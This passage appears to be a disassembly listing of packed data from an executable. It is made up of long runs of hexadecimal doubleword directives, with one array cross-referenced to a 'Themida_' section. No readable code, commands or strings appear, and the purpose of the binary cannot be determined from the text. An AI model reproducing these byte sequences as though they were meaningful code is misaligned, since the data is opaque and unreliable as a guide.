		dd 0A05AC78Ah, 0B3C34E93h, 16BF4270h, 81B9C38Dh, 43AF5C7Dh
		dd 0CFBCFFE8h, 753C5F66h, 0A0ED8E31h, 0CC81A203h, 6D0FF01Eh
		dd 7D9E9A24h, 0CB64AF5Ch, 923BFE6Dh, 0E9690A11h, 5C7D5B5Fh
		dd 0F40E29AFh, 38D8059Ah, 38EEC743h, 71FC01BEh,	0DF7EC067h
		dd 27100996h, 0B7A30BF1h, 5612DB80h, 4Ch, 3A59BAE9h, 3E175AFBh
		dd 0D71635FAh, 0A20FF8B1h, 0ACEC1E44h, 0F7AF57D6h, 98911E5Bh
		dd 8AC36546h, 2C800791h, 0E9EF6976h, 261FDB80h,	45A74680h
		dd 0B29DB600h, 8C15866Dh, 127E685h, 0D9B2EB48h,	1A3CA74Dh
		dd 0AAF7B2DFh, 0B109871h, 0F1155CFFh, 8DAE6F0Eh, 0E241D7C0h
		dd 0A6C8FB59h, 0D0B446EBh, 0D46D8EB0h, 8C3A130Ch, 0D8490023h
		dd 0B0BAFEBBh, 36A316h,	70B661B6h, 8ABE74Bh, 3459BA13h
		dd 9E442771h, 0D0581535h, 3F59BACBh, 0E6F02976h, 0D1DA739Ch
		dd 67C860A0h, 0DA988DC4h, 0CAE8F4FDh, 50EF15DFh, 30000000h
		dd 1308ABE7h, 54F61CBAh, 0AF57D754h, 0D6B8F00Ah, 0A18AAF57h
		dd 80FCF621h, 0A848FE5Dh, 838741D7h, 41AF5845h,	1CBAF1D6h
		dd 87F1D7DAh, 2771D6E2h, 1059FFFCh, 0FE3A4CEAh,	0C4AF57D6h
		dd 0D72464A6h, 351EAF57h, 0C5D7DC5Ch, 37DFE0h, 0E7FA0000h
		dd 0BA1308ABh, 57D70800h, 57F8D9AFh, 0BA44211Ah, 3959BADDh
		dd 0E4FE2F74h, 0D4EAE56Ch, 6A356358h, 0BAA287CEh, 10676230h
		dd 12860FF7h, 2A4CB7B7h, 0B7E13A67h, 155CFF6Ch,	0F9314BF1h
		dd 0CBAF57D6h, 935BC860h, 0AF5C5905h, 6F763FACh, 9E0185CCh
		dd 2F8657FFh, 175988F4h, 627883Eh, 0BD7EED4Bh, 0C406A41Fh
		dd 0B604A079h, 0AFE2846Fh, 0DE6CC709h, 430BAF1h, 495C7255h
		dd 54EABDFBh, 0E6C30EFBh, 30155CFFh, 0E8F4FDDAh, 0EF15DFCAh
		dd 39h,	80ABE730h, 1B0C91D8h, 0BA4522h,	0AF57D708h, 1855F5DEh
		dd 0E816829Bh, 0DDBA5A4Fh, 743959BAh, 1CDD7B24h, 6C593277h
		dd 4FDFE0C5h, 3B000000h, 0CA8D8CB1h, 9D1B517Ch,	8ABE796h
		dd 1C51F1D2h, 1CBA979Ch, 0D75454F6h, 52EAF57h, 0D7555593h
		dd 230CAF57h, 357C1C87h, 0F10BBFE8h, 0AF57D6B9h, 2308A08Bh
		dd 0DF61CBAh, 0ABFC216Ch, 57D72763h, 0D1321DAFh, 71BAFEB7h
		dd 2B1059FFh, 5CFFE0C5h, 600EF115h, 9AFF825h, 58C6509Ah
		dd 0FEFAF5Ch, 5963A7E1h, 0F621AF5Ch, 6168C9A2h,	943F8BC2h
		dd 0D7D375F1h, 0ADAF5C58h, 8304A982h, 0CA7CAA11h, 0B60477CBh
		dd 23089EB9h, 1308ABE7h, 733A59BAh, 0C8BBFD2Eh,	155CFFD3h
		dd 0F4FDDA30h, 15DFCAE8h, 26EFh, 0ABE73000h, 0BA1308h
		dd 0AF57D708h, 0BA7451FAh, 1059FFDDh, 0FE3A4CEAh, 0C4AF57D6h
		dd 0C5E6CD6Bh, 1DDFE0h,	0E7FA0000h, 0BA1308ABh,	57D70800h
		dd 8B70D9AFh, 59FFDDBAh, 59BA2B10h, 0F029763Fh,	0FFD8CDB8h
		dd 0B2FB9D5Ch, 61D354D9h, 3B783D52h, 0ABDD09E2h, 0B5FFDC84h
		dd 0F651D57Eh, 0BFC9FD46h, 0BCAECA74h, 0E7B8E54Eh, 0A8E58544h
		dd 0A5C86BBFh, 9B8747ECh, 3A35F4E3h, 0BAD9E041h, 690CB7F3h
		dd 39678320h, 0F4E38B8Fh, 5ADE7935h, 0D174B9D5h, 29021B98h
		dd 0C7684584h, 56D49DC0h, 9A074EEDh, 0C29h, 0A68BCD00h
		dd 0AD8CD481h, 0B0A68D2Bh, 1158FFCBh, 3970138Ch, 40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 8952FA4Ah, 4C281E2h, 83000000h, 148704EAh
		dd 2C895C24h, 701C6824h, 1C890000h, 20956824h, 0C890000h
		dd 0EE0D6824h, 1C8B06AEh, 4C48324h, 240C8B54h, 5604C483h
		dd 8156DE89h, 5646242Ch, 418F2777h, 8418108h, 27775646h
		dd 240C8B5Eh, 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h
		dd 8951241Ch, 4C181E1h,	83000000h, 0C8704C1h, 0BBE95C24h
		dd 0A8FFF987h
		dd 0E1194E1Fh, 0EE0A0038h, 0AEF58DB8h, 0FFC50306h, 0E203F3E0h
		dd 8DC1F33Eh, 0DC3B096Fh, 1DC27609h, 6578C5Ch, 68B3EE0Eh
		dd 64490A1Dh, 0C57B6C5Eh, 81D22F16h, 98CAAC5Bh,	0DEF84570h
		dd 3D38D005h, 0DC88213Fh, 48E21E5Ch, 48C51645h,	351BA001h
		dd 0B49F8630h, 18B5BE50h, 0E25CEF26h, 0B4F25411h, 0C77ECB72h
		dd 0CA12A83Eh, 0C497A62Bh, 9F690216h, 30679824h, 0D8909175h
		dd 0F2460A48h, 0C4524548h, 5B06EE3Ch, 64622177h, 3E30CC2Eh
		dd 0B3372A4Dh, 0E8D8D5Bh, 8006AEF7h, 8D89D2DEh,	6A805B9h
		dd 15DD9533h, 0B58B06A8h, 6A81B49h, 146985C7h, 5AB806A8h
		dd 9D2B0000h, 6A82B69h,	0BBD85C7h, 6A8h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 207A87C3h, 66561DE8h, 5FD38FBBh, 2A11B5FFh, 95FF06A8h
		dd 6A820DDh, 66C7B70Fh,	0BCFFCF81h, 95FF006Ah, 6A81B31h
		dd 0DEBC08Bh, 546C29CAh, 25B537F6h, 0B70EC33h, 11E8AEh
		dd 620C0000h, 0B7AD8A10h, 81D9B563h, 0FB531F63h, 0F5A8262Ch
		dd 0F185895Bh, 8106A82Ah, 7088C3h, 0E8D23300h, 0Fh, 2129C9C2h
		dd 4A619D35h, 1CAF052Dh, 516FF67Ch, 212DBD33h, 585806A8h
		dd 8B130C8Bh, 0A81639B5h, 53C18106h, 662B7FDDh,	9D62F681h
		dd 1143F181h, 858B0914h, 6A80279h, 4765F181h, 8B667CD7h
		dd 130C89FAh, 0A03AD781h, 5E85113h, 97000000h, 6220F408h
		dd 5E27C080h, 0E904EA83h, 6, 37AFE646h,	0FA8110A4h, 0FFFF904Ch
		dd 11850Fh, 8B660000h, 38E9FBh,	19A80000h, 0A37D43ABh
		dd 0E9AD9490h, 14h, 0DAA4B1DEh,	7E60EF8Ah, 0CE5F802Ah
		dd 32ECD508h, 3EAC1283h, 0FFFF77E9h, 0B7629DFFh, 4DB230CEh
		dd 0D362A14Ah, 0B3FAB37Dh, 0FE83609h, 0B0000000h, 2382A580h
		dd 0E4E3A2B9h, 8B379C97h, 0F55E1084h, 5E7EC681h, 2BF50000h
		dd 0DF8B66D2h, 813234FFh, 7F7B57C8h, 81665931h,	817E21C0h
		dd 0B1B8DC1h, 81C38B44h, 0BECD0DC1h, 0D5BD8B4Eh, 8106A81Eh
		dd 517232C1h, 510DB47Bh, 11E9h,	13007700h, 81BDA6ADh, 23F73E9Fh
		dd 2AA7B85Ch, 48FCE4Fh,	8B535216h, 0F585FDFh, 68Dh, 4D858900h
		dd 8306A82Fh, 0CF8004EAh, 14FA8183h, 0FFFFFA2h,	0FFFF9785h
		dd 0A8B0FFFh, 60000000h, 0B5896160h, 6A82A2Dh, 768D8D61h
		dd 106AEF9h, 0A820A185h, 0B98D8906h, 6A06A805h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6634C353h, 99EDABFh,	0A830D99Dh, 6985C706h, 9C06A814h
		dd 6A000063h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0F948C353h, 0A14FA3A2h, 0C7F8EA2Dh
		dd 0A80BBD85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F756F6D5h, 1332DC4Bh
		dd 0F8B70FC7h, 840Fh, 0B5FF0000h, 6A82071h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 74C35646h, 60002E68h
		dd 8B5FD459h, 0A81DE99Dh, 0DD95FF06h, 5206A820h, 0F08B5AFCh
		dd 95FF006Ah, 6A81B31h,	9EBC08Bh, 994E9F11h, 0ABAA42D3h
		dd 2E8D8D7Ah, 0B406AEFAh, 0B98D8923h, 6A06A805h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0DFADC357h, 0C7FE1D63h, 0A8146985h, 6DD406h,	0BDBD8B00h
		dd 8B06A81Fh, 0A8006585h, 0BD85C706h, 6A80Bh, 8B000000h
		dd 41B5FFD3h, 6A06A80Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0DACBC356h,	0AEDF0297h
		dd 6699E87Ch, 95FFD78Bh, 6A820DDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 8DC35040h, 14D0BB66h, 95FF006Ah
		dd 6A81B31h, 7CEBC08Bh,	3F25694Dh, 0CD76D8A9h, 1ABB68F7h
		dd 0B0A21491h, 7C0B8E48h, 0FAADDF57h, 4BC67FEDh, 0E408279Dh
		dd 0F3DB339Ah, 645D5E71h, 6A9A85AFh, 0DC81CBBh,	8A7F013Fh
		dd 7B110D12h, 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh
		dd 9A1520FDh, 79899Ah, 0A8993585h, 1BDE69B4h, 4F431D26h
		dd 0BD131041h, 0CFC2886Ch, 9A3C3924h, 126E221Bh, 0DAC255A9h
		dd 7F571CF8h, 5074B00h,	6A2D21B1h, 0FB938D8Dh, 958B06AEh
		dd 6A806C9h, 5B98D89h, 958906A8h, 6A83121h, 146985C7h
		dd 608006A8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 524C93C3h, 2DAEBEB7h, 13E8E1h, 0D2D50000h
		dd 0B98D3374h, 0E04B4B64h, 918831CDh, 0D6AA2F1Ah, 8E982h
		dd 1A650000h, 41DC909Bh, 665EB2E7h, 85C7F38Bh, 6A80BBDh
		dd 0
		dd 0E098D89h, 0B5FF06A8h, 6A82A11h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 90C35141h, 0F1207C2h, 688h
		dd 91858B00h, 0FF06A816h, 0A820DD95h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0C8EB394Dh, 89FB8B66h, 0A81DE985h, 0FF006A06h, 0A81B3195h
		dd 0EBC08B06h, 3FACA90Dh, 83FBE56h, 8F91F7ECh, 0BE883E4h
		dd 0EA000000h, 2FE9958Eh, 0F48F2143h, 8D091E69h, 6A80F25h
		dd 11E958h, 9B610000h, 0FFBBAB91h, 69E1F855h, 97ECA8E1h
		dd 81602674h, 6185C0h, 89BD2900h, 0BE06A820h, 1841h, 26498589h
		dd 30FF06A8h, 0E15B509h, 895F06A8h, 0A83121BDh,	0B1F78106h
		dd 814DD15Eh, 0B7BC10EFh, 0C3B96610h, 0A3C78198h, 0F76BACAh
		dd 8B57D3BFh, 29008FC8h, 0A82B69BDh, 2E88306h, 664848FCh
		dd 0F4ECE8Bh, 0FFFFBD85h, 0D18B66FFh, 0FCED8D8Dh, 958906AEh
		dd 6A82F85h, 185BD29h, 8D8906A8h, 6A805B9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 23C35747h, 1A358CD3h
		dd 16DD598Bh, 146985C7h, 703C06A8h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 3FE872C3h
		dd 60BB92B2h, 0C741762Ch, 0A80BBD85h, 6, 0EE900h, 0B4990000h
		dd 0BB186E68h, 1888726Ah, 0A4C5A6C5h, 19D2960h,	6106A811h
		dd 5FDB5FFh, 11E906A8h,	0C6000000h, 856F6C4Ah, 0A8C5525Ah
		dd 4F764AD0h, 925D145Ah, 20DD95FFh, 62BB06A8h, 6A45950Eh
		dd 3195FF00h, 8B06A81Bh, 957AEBC0h, 90BFB804h, 268951F0h
		dd 0D515FD23h, 25263377h, 5968A5A6h, 9F32B04Ch,	90BA66B9h
		dd 4A2F3AE5h, 4138D80Bh, 0F6804BABh, 0AE556D4Bh, 5AC7AD5Ah
		dd 29E6689Ch, 0FA1ABA90h, 0FF1CE034h, 83B1F70Ch, 8AAA5B9Bh
		dd 9253685Fh, 0D192518Bh, 426BA1E5h, 0C4D71D52h, 7A70BC7h
		dd 1E83DEE1h, 0A761F000h, 4063D40Dh, 8143CF37h
dword_5B9768	dd 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h,	0DEE9B2h
					; DATA XREF: Themida_:00561AA8o
		dd 75F10000h, 9CD76B1Ah, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 9	dup(0)
		dd 1414E9h, 486800h, 63E906AFh,	68FFF97Fh, 6AF013Bh, 0F97F59E9h
		dd 21968FFh, 4FE906AFh,	68FFF97Fh, 6AF0361h, 0F97F45E9h
		dd 3EA68FFh, 3BE906AFh,	68FFF97Fh, 6AF049Eh, 0F97F31E9h
		dd 53A68FFh, 27E906AFh,	68FFF97Fh, 6AF05E9h, 0F97F1DE9h
		dd 69A68FFh, 13E906AFh,	68FFF97Fh, 6AF07B4h, 0F97F09E9h
		dd 88068FFh, 0FFE906AFh, 68FFF97Eh, 6AF09BDh, 0F97EF5E9h
		dd 0A9E68FFh, 0EBE906AFh, 68FFF97Eh, 6AF0BE9h, 0F97EE1E9h
		dd 0D1268FFh, 0D7E906AFh, 68FFF97Eh, 6AF0F1Dh, 0F97ECDE9h
		dd 101568FFh, 0C3E906AFh, 1FFF97Eh, 389B2F66h, 67C85E1Bh
		dd 913288C1h, 0C162B8FDh, 0D259EDA0h, 9FD2739Fh, 0CB86A80Bh
		dd 0F9B0D47Fh, 2A6302ADh, 0A8D2089Ch, 0B606D570h, 6CEE1452h
		dd 0CEA2D2B4h, 0FB96D3Ah, 0B606B30Bh, 0D1DA5EF9h, 88155CFFh
		dd 0E93D7417h, 0A145FE5Eh, 0FFF5F867h, 3C61CAB5h, 0FFF5FA3Ah
		dd 743D96B5h, 77CD8A66h, 446D14h, 0BAB60000h, 6ED0F030h
		dd 0E344B3B5h, 73A40940h, 89326225h, 67D42B5Dh,	85AEB600h
		dd 89813B61h, 7BB60068h, 63EB58D0h, 0B6006823h,	895DC80h
		dd 77BCF597h, 14A30CBBh, 7C7E278Ch, 14774780h, 0D967h
		dd 5CFFB800h, 76178815h, 0C268F63Bh, 57D780B8h,	0C06142AFh
		dd 9B04948Dh, 0DD1839F8h, 7AB3F0BDh, 120B1C81h,	3871148Dh
		dd 0DC0618E2h, 0FE9DAF57h, 0ADD073B7h, 5A3BFE4h, 57DBC7C3h
		dd 2B6F99AFh, 19AF57DCh, 1583AC3Eh, 37782292h, 2A252706h
		dd 9D2FDBB4h, 0B600CB4Eh, 74B4D634h, 2FB600CBh,	0AA85450Ch
		dd 0B4C315B1h, 0DD28A280h, 7D9B61B7h, 74B9FC92h, 8232F523h
		dd 7C678D39h, 0C40296DBh, 0BCAAB16Ch, 0E6C9FD56h, 88A10E47h
		dd 0B8D93A20h, 6D0EB1F5h, 0E60CF820h, 0AF0CEC80h, 1184D6h
		dd 0D990B700h, 84DE24Dh, 3E7711B2h, 6E2B47E8h, 9BD677D8h
		dd 21F1800Fh, 56F94D00h, 822D7934h, 0B41FABE2h,	0DA42D891h
		dd 0D6C2C600h, 7A80B606h, 135EFFDDh, 40092C97h,	0B5E7DDFAh
		dd 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h, 256C0CF7h
		dd 9B9718F3h, 1477F8AFh, 0F04Eh, 5CFFD100h, 76178815h
		dd 124D8F3Bh, 0E15140D8h, 0FDB48E0h, 6ECA8FA4h,	58118698h
		dd 0D47758AFh, 0F1941B9Dh, 6C450C30h, 7ED675DEh, 515DCA1Dh
		dd 0D3F7E03Ch, 0D8E59A99h, 8A2E678Fh, 873C9019h, 1FD28063h
		dd 0BFE8357Ch, 7E8852C6h, 0B6008DEBh, 3C7112FDh, 410C2EF7h
		dd 46D2CBDCh, 0B00B9FB8h, 0E503A71Ch, 0B3F711BFh, 91B6008Dh
		dd 8E1C1CA6h, 4DE6B600h, 2CB41DEBh, 688EBCABh, 0AB2CDADEh
		dd 968FA8BCh, 0A3EE8F70h, 0D69BBC67h, 806ABC32h, 66DFDCECh
		dd 1091h, 5EECA5C4h, 891D58F5h,	0FF4B0226h, 2F7B3E54h
		dd 18AEE384h, 1334DE93h, 0C767C85Eh, 0F1933C8Ah, 0A2C162B8h
		dd 1DCF5FEBh, 6D7AFEBh,	0E85795B6h, 54F25EFFh, 83C66B8Fh
		dd 0BEA6A74Bh, 2FBD491h, 9A57FBE4h, 3E6FB4F9h, 69CFD845h
		dd 541D40E3h, 0ABC728D6h, 0C06841EEh, 3559BADBh, 89FA3370h
		dd 0AA75A3EAh, 0C45DC28Bh, 0FF3260A1h, 443D1653h, 723B5DC6h
		dd 10D1742Dh, 60FE236Eh, 57D6E226h, 9E77A0AFh, 604061A5h
		dd 6A41FBDh, 0CEA990F4h, 59DFFB40h, 8026993h, 57C0B600h
		dd 5B81CBF1h, 0DA31BFFh, 2560E632h, 66AD8A11h, 2F598D36h
		dd 0B4321E9Ch, 0A760CD66h, 6E274675h, 0CBFFE8C1h, 0DD87E6B1h
		dd 5773DCBAh, 3A80C96Ch, 183BFA99h, 38407851h, 78EE4E0Fh
		dd 0FB3CABBh, 43E60000h, 7E13BC0Ah, 2444EF3Bh, 0D876D96Dh
		dd 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h, 40C68FADh
		dd 0B1F5BCDFh, 95953735h, 6FB606D9h, 5CFF0229h,	6A0EF115h
		dd 55ADFE23h, 0BF8E77Ah, 9D0EAAA9h, 31E2B81Ch, 9A2421A7h
		dd 0DCFC9E52h, 3A13A184h, 4863A541h, 3AB6007Dh,	846F9511h
		dd 9A0BA8E1h, 5DDBB4F9h, 35D16ACAh, 0A8983893h,	0FC210ABCh
		dd 91DC7D66h, 4B9D1B0Ch, 0BCA8984Bh, 17238C67h,	1F8F173Bh
		dd 45C2h, 0B5E76500h, 38B2D80Eh, 2796B8E8h, 501D3E50h
		dd 0B7E1DAD3h, 0ED24B1h, 0A9B03AB6h, 7871A997h,	0B2ABE688h
		dd 4B7FD866h, 398DC468h, 54CF0D3h, 0DF298F98h, 0B60174D9h
		dd 0A4E2ABCAh, 931059FBh, 0EE432h, 0B5E71500h, 86AED80Eh
		dd 7CB606D5h, 0D4ACEC1Eh, 0BD96B606h, 9EBD26C4h, 4DF053D7h
		dd 0BE1E9F04h, 0D4A7E105h, 0AEBCB5D2h, 9D3B6185h, 0D2D5D577h
		dd 84AFBCB5h, 0B5D33E7Ah, 0A9CA04BCh, 855DA930h, 0A9503FCh
		dd 3BE4226Bh, 23B55118h, 41E4CFCDh, 7872AB08h, 0A6077278h
		dd 0F96ACE87h, 83279C30h, 97DE7A65h, 4187110Ah,	0C35D957Ah
		dd 0A939EF48h, 0EBE5CE02h, 0E6B77C8h, 0FB9E0000h, 0A6CB74B2h
		dd 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h, 92286506h
		dd 0CE5C1131h, 388EC765h, 69BDF497h, 0DDDD6FFDh, 0A7B606D9h
		dd 5EA6BA61h, 5DAF57D7h, 78A644FFh, 0EDF598D2h,	754CE665h
		dd 58A14D4Dh, 9C1C37AFh, 79EC74Ah, 7492BDB6h, 0F46E5CEh
		dd 802F89A2h, 0AD1694DDh, 8C5AC78Eh, 0EE4A0F23h, 0EAA1FB59h
		dd 2A63012Bh, 825A9485h, 8238113Dh, 0AFE16178h,	0D00823BCh
		dd 0EC7BB6BCh, 0E266DFDCh, 1500000Dh, 44EF3B72h, 73DC6A2Fh
		dd 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h, 0C78AAC17h
		dd 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B606DA64h, 0FF33185Eh
		dd 1788155Ch, 1793B574h, 57D6B5F5h, 0CBA48FAFh,	4BA234D2h
		dd 0E6F50B49h, 7B71484h, 17030F90h, 0F612DFFDh,	814h, 0EB5E749h
		dd 0D4F0AED8h, 79D2B606h, 8AC3624Dh, 85001A5Ch,	3C399D7Eh
		dd 42E816FCh, 258AC361h, 0B3CECAF4h, 9BB4B606h,	77F3921Dh
		dd 6B3D5D5h, 0E3AACEB6h, 0D25F48E3h, 6B40C08h, 962D8FB6h
		dd 0E4F3D670h, 0AF5BCAEh, 0ABFC2164h, 0B068C30Dh, 0EC7CB316h
		dd 2E5C2586h, 6100000Dh, 983B8FC6h, 0C768BEFBh,	0F152E8A1h
		dd 2182185Dh, 72F94D00h, 0FFB2D33Fh, 2B6608ABh,	5910349Fh
		dd 8AC362CDh, 8B2A83Ch,	0B606DB10h, 0BA8FB4F2h,	2F743959h
		dd 56F5BAFEh, 7211921Fh, 0A6C4F63Bh, 0D6CACE78h, 9FB8AF57h
		dd 0F101A219h, 12DFD205h, 763E0h, 5EA63B00h, 5DAF57D7h
		dd 78A644FFh, 7BBDF497h, 6D473EDh, 0C0E651B6h, 0CECA7C9Ah
		dd 0B4B606D3h, 470E2A9Bh, 0EE2F4ED1h, 992D064Fh, 0D15E1736h
		dd 0AB5FE448h, 0AF053A11h, 0F92F08BCh, 0EC7C92C7h, 9219EAC9h
		dd 0C500000Ch, 0F45FEBA2h, 238C1A5Fh, 55FE4C05h, 852E7C39h
		dd 961DA9E4h, 430E2FE3h, 773A5CC7h, 0A5EC9033h,	0D69FBE61h
		dd 0F416D450h, 0B606DBB4h, 0FFE3488Eh, 5288155Ch, 0E4ADCB34h
		dd 64A46EBFh, 5EAF57D7h, 59FCA3F5h, 6909EA10h, 0AAEFF24h
		dd 0CA660899h, 6057C55h, 77BC959Eh, 5FC481AEh, 4F417983h
		dd 2803AF58h, 5C63CCE9h, 0FF28753Ch, 0C66F4C06h, 0DFAAD8B4h
		dd 6A23F12h, 0E7000000h, 0AED80EB5h, 0B606D545h, 0B3F69C3Fh
		dd 0A0C32CDAh, 53F25DE9h, 5155951Ah, 4AB606D5h,	13B551EAh
		dd 0BCAF0638h, 0C387210Ah, 0CDEC7C91h, 0BE315EEh, 73160000h
		dd 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh, 9425A2F8h
		dd 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh, 65A5E705h
		dd 5FB606DCh, 5CFF3219h, 6DB2FB9Dh, 45DE433Ch, 2018A226h
		dd 0E2AF57D7h, 0BBD35049h, 53230B4Dh, 0D3564453h, 3545EE45h
		dd 12DF1259h, 613BCh, 3F5D4600h, 3D583D97h, 5FEC55Fh
		dd 63A68893h, 5AF57D7h,	0AB0F59Ah, 57D6B8F0h, 77A18AAFh
		dd 3A71CB0h, 6D479F9h, 0DAED6FB6h, 73E19852h, 3D163870h
		dd 0C6072689h, 0B4F2EBA2h, 0FC21680Bh, 8422993Bh, 0AE802B42h
		dd 8A3E19BCh, 0EC7D17CAh, 3214EDCEh, 6500000Bh,	943F8BC2h
		dd 0C36CBAFFh, 0F55EECA5h, 258E1C59h, 76FD4904h, 0E3AECF43h
		dd 175AFCA7h, 450C3093h, 763F5EC1h, 14B6B430h, 0B606DD14h
		dd 0FF83A8EEh, 5288155Ch, 1A9ED771h, 72BFF695h,	969D06AFh
		dd 5C1936F7h, 59EDC6D7h, 0DFD601FDh, 125E412h, 0FF3F0000h
		dd 1788155Ch, 5EE93D74h, 67A145FEh, 0B5FFF5F8h,	45E9CAh
		dd 735C8A17h, 0C81E9ADFh, 0B5FFF5CCh, 0F39172E8h, 0F42475BAh
		dd 0A884961Fh, 4F1477CDh, 2Ah, 0EB5E7D0h, 54FAED8h, 1A35B600h
		dd 5515595h, 866DB600h,	0F8211D1Dh, 0B4C41477h,	9E000000h
		dd 10D2D670h, 87B0B600h, 5CFF0A11h, 6A0EF115h, 0D75C5CEEh
		dd 0D26AF57h, 0DA9FB314h, 77D44455h, 63C08DAEh,	45EAA3C2h
		dd 0D678B9DCh, 0E264A29Bh, 0AF58039Ch, 992D6407h, 91358E2Eh
		dd 2A24877h, 0F5113AB6h, 87AC690Ah, 3C61244Ah, 7CADF2EBh
		dd 0E6156783h, 73E59478h, 2B758C95h, 5B09BCD3h,	0ABCC77DDh
		dd 0B47CC2E6h, 0FF3CF329h, 0A1806h, 652C4B00h, 94D17E21h
		dd 0C28BAD16h, 0F2B7DB44h, 276A0BB4h, 0BD5564E3h, 0EA55D19Ch
		dd 1E810548h, 50F3377Eh, 4626642Dh, 0DE2662A4h,	0DE1CB606h
		dd 135EFF71h, 40092C97h, 14DA1CFAh, 0DBBA42CBh,	0FFD4DF59h
		dd 5288155Ch, 0C7CD071h, 0B75B4A75h, 8B9C01FAh,	0AAE3822Dh
		dd 446931Ch, 0E7B60000h, 0AED80EB5h, 0B5FFFECBh, 3C7916B9h
		dd 181CDE43h, 0B4B5FFFFh, 684456DFh, 8F1477FEh,	1E9h, 0D765A690h
		dd 0F626AF57h, 0E96F994Dh, 0DBB606D4h, 0CA694A70h, 8F396783h
		dd 0B606D58Bh, 0F05ADE79h, 41652C4Fh, 0D4A9E11Bh, 0B09BB606h
		dd 92028B78h, 344BFD29h, 0EBCAEDBh, 0DB5A5EE8h,	0F28BCAEh
		dd 0BC96F216h, 39FAEC7Ch, 94C48h, 91D87F00h, 0C085AA15h
		dd 0F6BFD97Ah, 26630FB0h, 531E3FE0h, 0E92948D7h, 1E810548h
		dd 4AF5317Ch, 7C27632Ah, 920A90D9h, 0DEFA3E48h,	82C8B606h
		dd 155CFFA5h, 3D741788h, 1B8431F0h, 0E2387114h,	6CACDE04h
		dd 37AF57D7h, 408A5C15h, 4FA3CFB3h, 0A3F5EE1Ah,	0DF2A1BF7h
		dd 13FE212h, 0FF450000h, 1788155Ch, 4F893D74h, 0BA600DF2h
		dd 0F1F9B8D7h, 2E4A8F79h, 0AE19E335h, 0F711B50Eh, 0B600C188h
		dd 8A4CD17Ah, 0B600C18Ah, 0D6E44D26h, 147738FAh, 441Dh
		dd 8895E700h, 0AB14F6EFh, 0E72E75A3h, 0B2D80EB5h, 3B7D3051h
		dd 4D22Dh, 1A87B0B6h, 4D4D0h, 9A1BF0B6h, 77F8AC98h, 0DAC56314h
		dd 0D2D6F0B5h, 0B0B60010h, 0AFE31187h, 85000000h, 0DD829D73h
		dd 0F83068A1h, 155CFFB3h, 57667F1h, 5AD1BBE4h, 9E034AE9h
		dd 0E7B82B8Dh, 0FDA60B46h, 198A175Eh, 9F7337Ah,	8E02D0CFh
		dd 593B304h, 588CCDC3h,	0FEB7D6AFh, 6BD1FA8h, 2C77A6E0h
		dd 0EF69B603h, 1A1DBC5Dh, 0D17FB9E3h, 3E5F4066h, 0EB8C3773h
		dd 9D9D16Bh, 8ABB603h, 0A8812E6Bh, 4022C6BFh, 30F3288Eh
		dd 80F12F3h, 27420000h,	0DA77D86Eh, 80A80B9Fh, 0BCD27DC9h
		dd 6102ADF9h, 60119E2Ch, 4EDC91B2h, 0B20845E5h,	0EC3A7311h
		dd 0DD692043h, 31699349h, 13B606E0h, 59BA6ED5h,	0FF287538h
		dd 1855F6B9h, 4B022182h, 5CFFD0FFh, 71528815h, 18119ED7h
		dd 256C0F90h, 0E9215B81h, 0DBAF57D6h, 0D1523870h, 23Ch
		dd 0EB5E7F4h, 3351B2D8h, 0B4E4357Ah, 6D58EB2h, 56DB74B6h
		dd 6D59094h, 0CD362CB6h, 0EF84E5A0h, 841405AAh,	9874862Fh
		dd 7F147128h, 1F7h, 0D765A6C0h,	987BAF57h, 0AA7DBBF6h
		dd 0F315B10Ah, 0B606D4C7h, 8B7492BDh, 0BA65A1E8h, 914DD29Bh
		dd 0D2460F2Eh, 0AE5CE755h, 0B6F39F00h, 2ECF303Ch, 3464B9D5h
